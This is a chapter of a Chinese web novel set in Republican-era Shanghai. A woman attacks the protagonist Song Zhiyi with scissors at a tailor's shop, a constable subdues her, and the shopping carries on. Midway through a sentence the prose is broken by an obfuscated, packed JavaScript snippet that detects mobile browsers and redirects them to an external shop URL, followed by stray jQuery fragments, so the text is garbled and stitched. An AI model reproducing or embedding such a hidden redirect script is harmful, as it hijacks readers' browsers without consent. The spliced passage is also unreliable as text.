一切发生得太快。
宋知意本能地向后退,脚下却被椅子绊了一下没躲开。
“知意小心!”孟婉玲离宋知意最近,她脑中一片空白,唯一的念头就是不能让弟妹受伤。
几乎是想也没想,她张开双臂挡在了宋知意身前。
“砰!”
一声沉闷的钝响,几乎在孟婉玲挡上去的同时响起。
不是剪刀刺入皮肉的声音。
只见一个巡捕用警棍,结结实实地闷在了柳艳红的后脑上。
她前冲的势头被这一棍硬生生打断,整个人向前摔去,没了动静。
竟是被这一棍子直接闷晕了过去。
“妈!”紧随其后的事宋知音的尖叫。
一脸大胡子的巡捕捕收回警棍,眼神凌厉地扫过柳艳红和宋知音。
确定已经将人制服,才转向贵宾室内,微微躬身,“二夫人,五夫人,受惊了。此疯妇持械行凶,已被当场制服。”
孟婉玲直到这时,才感觉双腿发软。
她缓缓放下手臂,回头看向宋知意,见她除了脸色有些发白并无大碍,这才大大松了一口气。
腿一软差点也坐下去,被旁边的苏师傅赶紧扶住。
“没事就好……”孟婉玲拍着胸口,声音还在发颤。
宋知意冷静下来,对那位巡捕点了点头,“多谢您了。”
“五夫人客气,分内之事。”巡捕态度依旧恭敬,看了一眼地上的柳艳红,“此妇如何处置,请五夫人示下。”
宋知意看着柳艳红一脑袋血,眼中没有丝毫同情。
这一次,柳艳红是彻底将自己作**。
“持械行凶,罪证确凿。”宋知意的声音发冷,“按租界的律法,该当如何处置,便如何处置。”
“是!”巡捕应声,立刻拿出哨子吹响,外面很快又跑进来两名巡捕,将昏死的柳艳红像拖死狗一样拖了起来。
另一个巡捕则看向宋知音。
宋知音吓得连连往后缩,哭喊道:“不关我的事,我什么都没做。是她自己发疯与我无关。”
宋知意看都懒得看她一眼,只对巡捕道:“这位宋小姐,方才并未参与行凶。不过她与此疯妇关系密切,或许知道些什么。还请带回去细细问询。”
她这话说得滴水不漏,既没冤枉宋知音,也没轻易放过她。
至于问多久,那就看配合程度了。
“是!卑职明白!”大胡子巡捕会意,上前将哭喊挣扎的宋知音也架了起来。
“宋知意,你不能这样。我是你姐姐,妈,妈你醒醒啊。”宋知音被强行拖了出去,声音渐渐消失在店外。
孟婉玲被苏师傅扶着坐下,连喝了几大口热茶,才感觉平复了些。
她拉着宋知意的手,声音犹带后怕:“知意,你真的没事吧?刚才可吓死我了。那个疯妇真是活腻了。”
宋知意也挨着她坐下,轻轻拍了拍她的手背,安抚道:“我没事,二嫂。刚才多亏了你挡在我前面。”
“谢我做什么,我自然得护着你。”孟婉玲摆摆手,又忍不住抱怨,“这个柳艳红,自己作孽,还敢来害人。这下好了,进了巡捕房,有她好受的!”
苏师傅也在一旁躬身道:“今日是小店疏忽,让二位夫人受此惊吓,实在万分抱歉。”
宋知意轻轻摇了摇头,“与苏师傅无关,是有些人丧心病狂防不胜防。”
她说完,重新拿起了时装杂志翻看。
然后走到那排铺开的料子前,细致地挑选起来。
“方才看中的那块薄呢,就做秋款的长裤和外套吧。另外夏款也需要两套,料子要轻薄透气些,方便行动为宜。”
她一边说着,一边用手指点了点几块柔软的府绸,“这几块,苏师傅看看做衬衫和裤子可行?”
她的镇定自若,让惊魂甫定的孟婉玲都看得有些愣神,更让一旁的苏师傅心中暗暗咋舌。
这位陆五夫人,心性定力绝非寻常闺阁女子能有。
联想到她昨日在宋家婚宴上当众揭丑,今日又得陆五爷如此看重,果然不是没有道理的。
苏师傅心中对宋知意的评价又拔高了几分,态度也越发恭敬:“五夫人好眼光,这几块料子都是今夏新到的,吸汗透气不易起皱,正适
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17451539|201178||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
合做夏日的便装。小人定当加班加点,尽快为夫人赶制出来。”
孟婉玲也重新打起精神。
她今日的任务就是陪好五弟妹,可不能因为一点意外就乱了阵脚。
她也凑过来,帮着参谋:“对对,这料子好。知意,你皮肤白穿浅蓝色肯定好看,再做两身旗袍吧?我看那块软缎就极好。”
宋知意对孟婉玲的提议从善如流,她知道这是二嫂的好意,也是融入这个圈子的必要。
她点点头:“也好,那就麻烦苏师傅,再帮我量两身旗袍的尺寸,料子就按二嫂说的选吧。”
苏师傅连忙应下,仔仔细细地为宋知意量了尺寸,连一些细微要求都一一记下,
“最快后日,应该就能先赶出一套裤装配衬衫,给您送到府上试穿,若有不合身之处,小人再连夜修改。”
“那就多谢苏师傅了,后日即可,不必太过劳累。”宋知意微微颔首致谢。
两天时间应该够了,她得先去教会医院看看情况。
如此一番挑选下来,窗外的日头已经升得老高,临近晌午了。
孟婉玲看了眼墙上的西洋挂钟,“哎呀”一声:“都这个时辰了,光顾着挑料子了。”
她想起陆霆骁的嘱咐,要带宋知意回去吃饭,连忙对宋知意道:“知意,咱们该回去了。下午若是还想出来,咱们再出来。”
宋知意也确实有些乏了,她点点头:“好,听二嫂的。”
两人向苏师傅道了别。
苏师傅一直看着她们上了车,这才抹了抹额头上的汗,今日可真是波澜起伏。
不过,能结识这位陆五夫人,或许也不是坏事。
汽车陆公馆的方向驶去。
孟婉玲靠在舒适的真皮座椅上,回味刚才的事越想越气,忍不住又骂了柳艳红几句。
“不行,不能就这么便宜了她。”孟婉玲坐直身体,转头看向宋知意,“这事儿不能就这么算了,她这是**未遂,就算进了巡捕房,恐怕也关不了她一辈子。要不我跟小五说说,让他跟巡捕房那边打个招呼?这种疯妇,留着就是祸害。”